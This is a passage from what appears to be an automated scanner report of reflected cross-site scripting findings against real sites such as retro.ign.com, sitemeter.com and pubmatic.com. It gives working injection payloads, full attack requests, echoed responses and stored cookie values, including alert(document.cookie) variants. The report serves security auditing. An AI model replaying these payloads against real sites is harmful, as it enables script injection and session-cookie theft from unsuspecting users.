Referer: http://www30a2.glam.com/gad/glamadapt_srv.act?;ga_output=html;ga_exadvids=50000417,50001916,2457154;ga_exadids=5000025383;_ge_=6^2^cba0523816c7edc43ac471afdf2dd34b;ga_adb=ade;sid=112351129691745689711;browser=2;co=US;dma=511;;;;flg=66;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;afid=420105803;dsid=796794;uv=2;;tt=i;u=b00210076z51mac2ab9,f0fu2sa,g10001u;sz=300x250;tile=1;ord=2439329240005463.5;;afid=420105803;dsid=796794;url=ydn23y;seq=1;ux=f-fu2sa,tid-1,pid-0076z51mac2ab9,aid-2,g-66,1,;_glt=360:0:20:25:22:973:2011:2:6;a_tz=-360;_g_cv=2;;;dt=s;!c=hagl;!c=hagn;;lbt=nbt;sbt=eh;sbt=rl;sbt=ru;
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adImpCount=FM4QLcaMabkQsarcOBMTT_qd1v3GGeBcoJK0MOl0KG-Y481wEkFtGX7HudJA1SwJY9n9GIWJHDTqbWbTuEexfNzeQdD3uMEbsSJGoH6nZcvCzn_rbeUw4N91a2HFDwx7Wl6PMIbl8VoYkne2SJkXTcTcqhcYEXFRrx1COjt-xQdPBFgEFn33aBMbAqV_0XEIioGKZSAftgkVYZTzRayYVmmTJdkIn7237siDdt9MzJqJi5T6FYiHf9o35IlREqTNFveKpsZQ30qpNKi15RJt04BNhaXhDlSq6EvznmypgJEkna5GLuKLpEu7eZEeTMi7F6sK_rp2soXzwueUGRFartfze4TUjaNUIXjW8HpTdIXW8uxzXCZHw_1hR9tJint6dsPDEFhRxd_Mub3GEI1LN-tHiIt90vCIZrFIVkRcrTHWSuqW6r5ZIwUtscKD_QT9RhXOUlzX0--TPsid5EqGlKaR8fzj-CgEMyGy4iMXI1WxKbXh9CKgY6S3LP_zmj75AgqPmyW7n-K57XLwzviwi0UeS0QSNHqXIchkIsQCETGT3yD6yFHAIahzcKETB33UwCPq2GhFCxYySztyqVkKk9fqbN4-YU4FEz0wwkD5vsFOGK_87tDq8e92tNo34emrEgGEUj-NO1cCBiKRN0KNH1ftcOyrV1OLoU5x9aMp-92fSDdx8Pm4E6I95eyuD_EIQOJmu9RYL7YOIJ6DsZdIlrLgwokXGxtO8_jRpe316oYDuH7CMSEB_S7o6Xm3tvDBfH77IJVG0N6dycTdcjtOKF0Cz2TbSViJ-oT4nVLBUOQ7zE-OOnjPRQ6BZXJCY0oCMrkBfNspHfysXvb7GqOmGNAITbT7Z6AmMx12CVhoBV8PCKPJoslzeIPsOadDQ5GApTHEeUcb_20FLCe61hOZos4ND7pDMbh_Nz4asivfvnRRu_fmnuOn7vvqoBU15Zmhn2aVSJry2cIXXaBci8YswRWnz3-1lFmH8NpHbFKrPy3hBObtf8ALhKpons6mVN9Ng_E4yJzpnqztVh_CB-KMHlM4At-mEES-WC-9xjj3t3cnzJw50Wq6BglWv58k-98YkSbTm3kPOUdWBiWoLi0oN0AgeHAdeFjGHSfjDkMzE5p5e_oJDB2Um-liToPNlmN15FjrbRSBV8G9GwEgDofeTOxem0_gMApf3YWMEr3kQAQnXe4HjQMTBDROpzYRLGofXKwaWNtdj1-GtHzOUqyENh2k1W2pFwJOjkpENaGP0tqhG0BtDC_eTH_Ts10GvA6WhyC22lBHkEPeNKFx7RiTWcHRNLuEX2-svGHkdhG53xdJo9qHwXLy45nY7LSpUbn803gUXikBp5CFzTHxBLV0jIUUb9PGuTCtW-hvx86uIjCl7RrDpkAZSszkN92RjKcOSHyDTphfUd0ZqQTAbIYvZtNr_wQwmIEY35OpKNWhyGwNPlAh_ANj4laYRoTBJxnGQ7wgWZt0CSpxlrfASU5W2a6su59vlF-h6V4zet13tlPhRMEiyYm825vPff2nJDmVgFpIKs_vIo7sFsppJ43d8oTEgInxyFT6vScD8wD9aZjmMC0w6HS0HlWcNr1j-PhGS2ikng608Ubz0iz0TtbwhgQZq5IdyfSisA1KqAwL3sZErWVr76O0bqQTEPkhkBBP4vNeu_uKiDKKl73FedJ05pAh6qV14YUcXNrVmSSI1FzEzQ65n9aZSqRKUiLFvw0_FzJQi642bOf20jjwau1yNWbWc_OZc_OPEEY_dnkrDVdmeoMCTOxN_xl7C-3y_RTPHX8tA53fNzl8qfH897V8IhWPCe1DLrZ9lRQtTCZwINCJg6hyABA61hUJaqPVyX7fV7Pa1PW0-yYXb_USKuin2pZCaBr_uY_2UBH6Bm4UktJmd6sVQvXXEqhe9E5LsneRLFWbUdQszzXxD5egB584f5Iq0VaWXCofBTTX6PHG8K6lFCCN0TTnR1jCog1stnuLrLH_TLw0g_9l8j595C25K_O7nXuUqzkznnHJS2oIivO1MtzkhTD8tggahFLAwdtimGiAzgIbfwh3tPXiXBZiPEc6jmaSPplk32IRb7Tl08IFN1OghxmtWT_y47n5TtZS9Ky93uZuiaOzgh6RPqobZokxjCycBjwJJ-OqeZ3YCRoZ5XICuXWVHfipzGbbMT7XgVwScM8a1QBrHN9hJ559oPfWNXLGQYJF8WI3xWHXIXB86oJHZOjQy7IdFPhSTsF2yrOAh9s72IpPTbIy0ryOZR5kHQoGKZaDQPufKDCKOsAs5UyVIQTo0ztnk49jL0nNFaq4usSu0TQiqXjP7CIAd_5FtzMDApKZjTZ9VwWqS_hi3W5FLLAcz8HdwETYSzM0iqfAGlpVHegt_TIDru8ZVGlo2JchDi2BE0kETeswJqfjIM8eqB1CZXkSQ7Z_VjVnYvzBVNyB9AksqD2lQZb2X0IEqN843HNpf9LL79Gl1KBsoCUhcPx0GvFd6LDM_NesCTjn8qfPanRhqfFt_Mz5uEh2A3HFoGkf8ppxZxL6925r_GgrDoF5KcCR0z_dNX3kzjeRcgqW8BhR69hQhpeZrZnEJ52ohaD3WrTkTUj4YJ6Td6PLaDgaJxtMnnZrfAlG0SSD0cpxrho96Q5aYPi9en1l66z-sdlCvM2HwHHvukFOG1d5EaBIpvNzbIjvRqOmzYDhYzHqcbaWBj06fa97gFmB5jdUYj5pSK3CD2Yuk0PK5FYetxUklFsdind5sgdq4uZcD2KLx9Zf7jaxnwz6suaPAnsGTiQgiUvKmhf1LhrytQYKxDy-h4T29iDJXVr_vHZNnZTSMo3FOqO76V7e32Mz948gl-62XtaGUS8uw5NCpnBNXGUaigKHIg84ueIc4t5Yp3YWsvWh2i358DyJOyzgpnBHfTKfL-U_Busa7oEsjSep6DjzyTifPlN_P4smDk3kLq_iHqbXQ5svnKXdR0fKJFj2seLH8BbDFMsPiVsBIQ44v1dSgCalvY0FxkkJ5w0OZeWQP34jwLIAF168EspxmNyBZAxjbmEt8kjG7dRMykkE2LHXhz6x23r28D5B1-HnnnOalxwc8pVPIG67O2v9MtuGBypG0oO1sVM2Vbs7HFOP9G8F0R3RxUgEDCioFUEKPhCNOF99OExqDKIS0y-D3H8kAPjeIydjzyH2Ws7PKyE1dGY4WEg1BMpUBtxwX2H-7BKKuqPq2iSXQ7keQevoGn3niEhwrkx3I523rYfTIHt_4ntge3wT6HrPHWBJpD6Hr91CxZq9sV9Jmp33y8raIDjGaQc_8c0sEToR_ODvxgcgJ32KFhukOoA2cRquiPMf-CiwpIi4ayv6yWP-tXJ__VAnBFQL8j9ZaHEtyQCLoYLPIaWZ3CmWGBp_xNH3WlqbXOyrf_ATBbMNQCTCxOAxrjPhFf5rtBKDWKm24urmdIW_ZXAbYCZmLsz6YiVpaNRjSC9cVWjph0vEeVDn94cCqpnjE0z1BuYxXU6aN8KvfgQRgY4ZaCnGHk-ja9faWwfL-_-bPH3YFMHRKzulr4fOZJphXH_Th5iLN0VczjS8Jh9TEFyiFtC1iUdTIWwbUQ3HeHZgtn1yA0PmWEs3TAjOPMDh8jx0WcV7eT-TG33S7CRXLm9kG5yXyNmxCrzJ; fc=8Kodsw1QIRNJBnpSjhgJ0uErbJkTJYsNaCBFpaSI5yP-4Y1aL5T0hqj7dZyIiRNIWMZgDtcnKM_xOWbKnaMIO3_WyzVPxgN3VkTg_cPuFqziwJJKZupkpjfaBrjFc6z7RfOX1MD02-o6SZ1b0c_HcUiZ1Q4B83ZCB0ZNq2R2Ygc; pf=vcPDWdxa5bRnzYCFna8dt7hwFpEjJFamBf-ed9eCgkru2q8_Jo62qDoNU1sRcsTDbsXLbP8cgvu5kdFpiCdvW34lLZyvKs0UYrWi2iSsDx65o3Pzwoz6403H7SSItm-xFnOkZRhnTAf1OsSeg86x6N9he2SzgZbMiSxi7XoC0oDOTz_hW1W1inw2PPTXkr5M6IAD_gZxI523_TIIsV7tK-AIolHB94EOuCprrHzPsXFXUf33lMkSWcP-I3s4DQm5; uid=3011330574290390485; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7C1003%7C10%7C1004%7C1005; rds=14987%7C15011%7C15011%7C15011%7Cundefined%7C15011%7C15011%7C15011%7C15011%7C15011%7C15011%7C15011%7C14983%7C15011%7C15003; rv=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Sat, 06-Aug-2011 02:25:22 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 07 Feb 2011 02:25:22 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=3011330574290390485&rnd=8196801494452817174&fpid=4&nu=n&t=&sp=d2853"><script>alert(1)</script>ace0f205978&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

3.434. http://retro.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://retro.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83d3d"-alert(1)-"5d5ca8beb3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?83d3d"-alert(1)-"5d5ca8beb3a=1 HTTP/1.1
Host: retro.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:57:42 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-256471747-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043863063v-1n-12mc+1297043863063mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142280

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Retro Games - Clas
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://retro.ign.com/?83d3d"-alert(1)-"5d5ca8beb3a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.435. http://retro.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://retro.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 519a5"><script>alert(1)</script>ec9de230292 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?519a5"><script>alert(1)</script>ec9de230292=1 HTTP/1.1
Host: retro.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:57:36 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1876009360-18;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043856664v-1n-12mc+1297043856664mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Retro Games - Clas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://retro.ign.com/?519a5"><script>alert(1)</script>ec9de230292=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.436. http://s50.sitemeter.com/js/counter.asp [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s50.sitemeter.com
Path:	/js/counter.asp

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 848a1'%3balert(1)//ee94c3983ab was submitted in the site parameter. This input was echoed as 848a1';alert(1)//ee94c3983ab in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /js/counter.asp?site=s50thechive848a1'%3balert(1)//ee94c3983ab HTTP/1.1
Host: s50.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 07 Feb 2011 02:25:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7304
Content-Type: application/x-javascript
Expires: Mon, 07 Feb 2011 02:35:24 GMT
Set-Cookie: IP=173%2E193%2E214%2E243; path=/js
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServe
...[SNIP]...
.addEventListener(sEvent, func, false);
       else
           if (obj.attachEvent)
            obj.attachEvent( "on"+sEvent, func );
           else
               return false;
       return true;
   }

}

SiteMeter.init('s50thechive848a1';alert(1)//ee94c3983ab', 's50.sitemeter.com', '');

var g_sLastCodeName = 's50thechive848a1';alert(1)//ee94c3983ab';
// ]]>
...[SNIP]...

3.437. http://s50.sitemeter.com/js/counter.js [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s50.sitemeter.com
Path:	/js/counter.js

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7859'%3balert(1)//1896c335bd8 was submitted in the site parameter. This input was echoed as a7859';alert(1)//1896c335bd8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /js/counter.js?site=s50thechivea7859'%3balert(1)//1896c335bd8 HTTP/1.1
Host: s50.sitemeter.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Mon, 07 Feb 2011 02:25:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3pEXTRA.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Content-Length: 7304
Content-Type: application/x-javascript
Expires: Mon, 07 Feb 2011 02:35:12 GMT
Set-Cookie: IP=173%2E193%2E214%2E243; path=/js
Cache-control: private

// Copyright (c)2006 Site Meter, Inc.
// <![CDATA[
var SiteMeter =
{
   init:function( sCodeName, sServerName, sSecurityCode )
   {
       SiteMeter.CodeName = sCodeName;
       SiteMeter.ServerName = sServe
...[SNIP]...
.addEventListener(sEvent, func, false);
       else
           if (obj.attachEvent)
            obj.attachEvent( "on"+sEvent, func );
           else
               return false;
       return true;
   }

}

SiteMeter.init('s50thechivea7859';alert(1)//1896c335bd8', 's50.sitemeter.com', '');

var g_sLastCodeName = 's50thechivea7859';alert(1)//1896c335bd8';
// ]]>
...[SNIP]...

3.438. http://showads.pubmatic.com/AdServer/AdServerServlet [frameName parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://showads.pubmatic.com
Path:	/AdServer/AdServerServlet

Issue detail

The value of the frameName request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fe53b'-alert(1)-'9309c479fa5 was submitted in the frameName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /AdServer/AdServerServlet?operId=2&pubId=26076&siteId=26286&adId=21121&kadwidth=728&kadheight=90&kbgColor=ffffff&ktextColor=000000&klinkColor=0066CC&pageURL=http://www.gamestats.com/&frameName=http_www_gamestats_comkomli_ads_frame12607626286fe53b'-alert(1)-'9309c479fa5&kltstamp=2011-1-6%2020%3A33%3A49&ranreq=0.5558586933184415&timezone=-6&screenResolution=1920x1200&inIframe=0&adPosition=134x111&adVisibility=1 HTTP/1.1
Host: showads.pubmatic.com
Proxy-Connection: keep-alive
Referer: http://www.gamestats.com/?d0025%22-alert(document.cookie)-%22f21ee463262=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: KADUSERCOOKIE=4AC32DB0-0B6A-48EE-BE74-FD6E7D9BC764; KRTBCOOKIE_80=1336-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.&KRTB&1685-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.; KRTBCOOKIE_22=488-pcv:1|uid:3011330574290390485; KRTBCOOKIE_153=1923-41yKvrFZ3L_6C466tA2Vu-Rdi-v6AY_r4FlErZjJ; KRTBCOOKIE_148=1699-uid:D8DB51BF08484217F5D14AB47F4002AD; KRTBCOOKIE_133=1873-6ch47d7o8wtv; KRTBCOOKIE_58=1344-CA-00000000456885722; KRTBCOOKIE_16=226-uid:3271971346728586924; KRTBCOOKIE_57=476-uid:4760492999213801733; KRTBCOOKIE_107=1118-uid:MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ&KRTB&1471-uid:MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ; KRTBCOOKIE_27=1216-uid:4d3702bc-839e-0690-5370-3c19a9561295; PUBRETARGET=82_1389464380.78_1389464380.1113_1297450679.806_1325962677.1039_1297450683.445_1302634725.825_1297450726.1834_1297470581.1444_1298250150.571_1391362740.461_1391525404.362_1299637594

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:33:19 GMT
Server: Apache/2.2.4 (Unix) DAV/2 mod_fastcgi/2.4.2
Set-Cookie: pubfreq_26286=; domain=pubmatic.com; expires=Wed, 09-Feb-2011 02:33:19 GMT; path=/
Set-Cookie: pubtime_26286=TMC; domain=pubmatic.com; expires=Tue, 08-Feb-2011 02:33:19 GMT; path=/
Set-Cookie: pubfreq_26286_21121_1428462514=6-1; domain=pubmatic.com; expires=Mon, 07-Feb-2011 03:13:19 GMT; path=/
Set-Cookie: PMDTSHR=cat:; domain=pubmatic.com; expires=Tue, 08-Feb-2011 02:33:19 GMT; path=/
Vary: Accept-Encoding
P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC"
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 1892

document.write('<div id="http_www_gamestats_comkomli_ads_frame12607626286fe53b'-alert(1)-'9309c479fa5" style="position: absolute; margin: 0px 0px 0px 0px; height: 0px; width: 0px; top: -10000px; " clickdata=3GUAAK5mAACBUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAANgCAABaAAAAAAAAAAYAAAA0QUMzMkRCMC0wQjZBLTQ
...[SNIP]...

3.439. http://showads.pubmatic.com/AdServer/AdServerServlet [pageURL parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://showads.pubmatic.com
Path:	/AdServer/AdServerServlet

Issue detail

The value of the pageURL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f469b'-alert(1)-'575a3bf1f85 was submitted in the pageURL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /AdServer/AdServerServlet?operId=2&pubId=26076&siteId=26286&adId=21121&kadwidth=728&kadheight=90&kbgColor=ffffff&ktextColor=000000&klinkColor=0066CC&pageURL=http://www.gamestats.com/f469b'-alert(1)-'575a3bf1f85&frameName=http_www_gamestats_comkomli_ads_frame12607626286&kltstamp=2011-1-6%2020%3A33%3A49&ranreq=0.5558586933184415&timezone=-6&screenResolution=1920x1200&inIframe=0&adPosition=134x111&adVisibility=1 HTTP/1.1
Host: showads.pubmatic.com
Proxy-Connection: keep-alive
Referer: http://www.gamestats.com/?d0025%22-alert(document.cookie)-%22f21ee463262=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: KADUSERCOOKIE=4AC32DB0-0B6A-48EE-BE74-FD6E7D9BC764; KRTBCOOKIE_80=1336-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.&KRTB&1685-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.; KRTBCOOKIE_22=488-pcv:1|uid:3011330574290390485; KRTBCOOKIE_153=1923-41yKvrFZ3L_6C466tA2Vu-Rdi-v6AY_r4FlErZjJ; KRTBCOOKIE_148=1699-uid:D8DB51BF08484217F5D14AB47F4002AD; KRTBCOOKIE_133=1873-6ch47d7o8wtv; KRTBCOOKIE_58=1344-CA-00000000456885722; KRTBCOOKIE_16=226-uid:3271971346728586924; KRTBCOOKIE_57=476-uid:4760492999213801733; KRTBCOOKIE_107=1118-uid:MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ&KRTB&1471-uid:MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ; KRTBCOOKIE_27=1216-uid:4d3702bc-839e-0690-5370-3c19a9561295; PUBRETARGET=82_1389464380.78_1389464380.1113_1297450679.806_1325962677.1039_1297450683.445_1302634725.825_1297450726.1834_1297470581.1444_1298250150.571_1391362740.461_1391525404.362_1299637594

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:33:26 GMT
Server: Apache/2.2.4 (Unix) DAV/2 mod_fastcgi/2.4.2
Set-Cookie: pubfreq_26286=; domain=pubmatic.com; expires=Wed, 09-Feb-2011 02:33:26 GMT; path=/
Set-Cookie: pubtime_26286=TMC; domain=pubmatic.com; expires=Tue, 08-Feb-2011 02:33:26 GMT; path=/
Set-Cookie: pubfreq_26286_21121_1668642715=419-1; domain=pubmatic.com; expires=Mon, 07-Feb-2011 03:13:26 GMT; path=/
Set-Cookie: PMDTSHR=cat:; domain=pubmatic.com; expires=Tue, 08-Feb-2011 02:33:26 GMT; path=/
Vary: Accept-Encoding
P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC"
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 2053

document.write('<div id="http_www_gamestats_comkomli_ads_frame12607626286" style="position: absolute; margin: 0px 0px 0px 0px; height: 0px; width: 0px; top: -10000px; " clickdata=3GUAAK5mAACBUgAAAAAAA
...[SNIP]...
9&kefact=0.800000&kpbmtpfact=0.000000&kadNetFrequecy=1&kadwidth=728&kadheight=90&kltstamp=1297046006&indirectAdId=27827&adServerOptimizerId=1&ranreq=0.5558586933184415&pageURL=http://www.gamestats.com/f469b'-alert(1)-'575a3bf1f85">
...[SNIP]...

3.440. http://showads.pubmatic.com/AdServer/AdServerServlet [ranreq parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://showads.pubmatic.com
Path:	/AdServer/AdServerServlet

Issue detail

The value of the ranreq request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9d2d'-alert(1)-'b8ea009538c was submitted in the ranreq parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /AdServer/AdServerServlet?operId=2&pubId=26076&siteId=26286&adId=21121&kadwidth=728&kadheight=90&kbgColor=ffffff&ktextColor=000000&klinkColor=0066CC&pageURL=http://www.gamestats.com/&frameName=http_www_gamestats_comkomli_ads_frame12607626286&kltstamp=2011-1-6%2020%3A33%3A49&ranreq=0.5558586933184415b9d2d'-alert(1)-'b8ea009538c&timezone=-6&screenResolution=1920x1200&inIframe=0&adPosition=134x111&adVisibility=1 HTTP/1.1
Host: showads.pubmatic.com
Proxy-Connection: keep-alive
Referer: http://www.gamestats.com/?d0025%22-alert(document.cookie)-%22f21ee463262=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: KADUSERCOOKIE=4AC32DB0-0B6A-48EE-BE74-FD6E7D9BC764; KRTBCOOKIE_80=1336-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.&KRTB&1685-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.; KRTBCOOKIE_22=488-pcv:1|uid:3011330574290390485; KRTBCOOKIE_153=1923-41yKvrFZ3L_6C466tA2Vu-Rdi-v6AY_r4FlErZjJ; KRTBCOOKIE_148=1699-uid:D8DB51BF08484217F5D14AB47F4002AD; KRTBCOOKIE_133=1873-6ch47d7o8wtv; KRTBCOOKIE_58=1344-CA-00000000456885722; KRTBCOOKIE_16=226-uid:3271971346728586924; KRTBCOOKIE_57=476-uid:4760492999213801733; KRTBCOOKIE_107=1118-uid:MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ&KRTB&1471-uid:MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ; KRTBCOOKIE_27=1216-uid:4d3702bc-839e-0690-5370-3c19a9561295; PUBRETARGET=82_1389464380.78_1389464380.1113_1297450679.806_1325962677.1039_1297450683.445_1302634725.825_1297450726.1834_1297470581.1444_1298250150.571_1391362740.461_1391525404.362_1299637594

Response

HTTP/1.1 200 OK
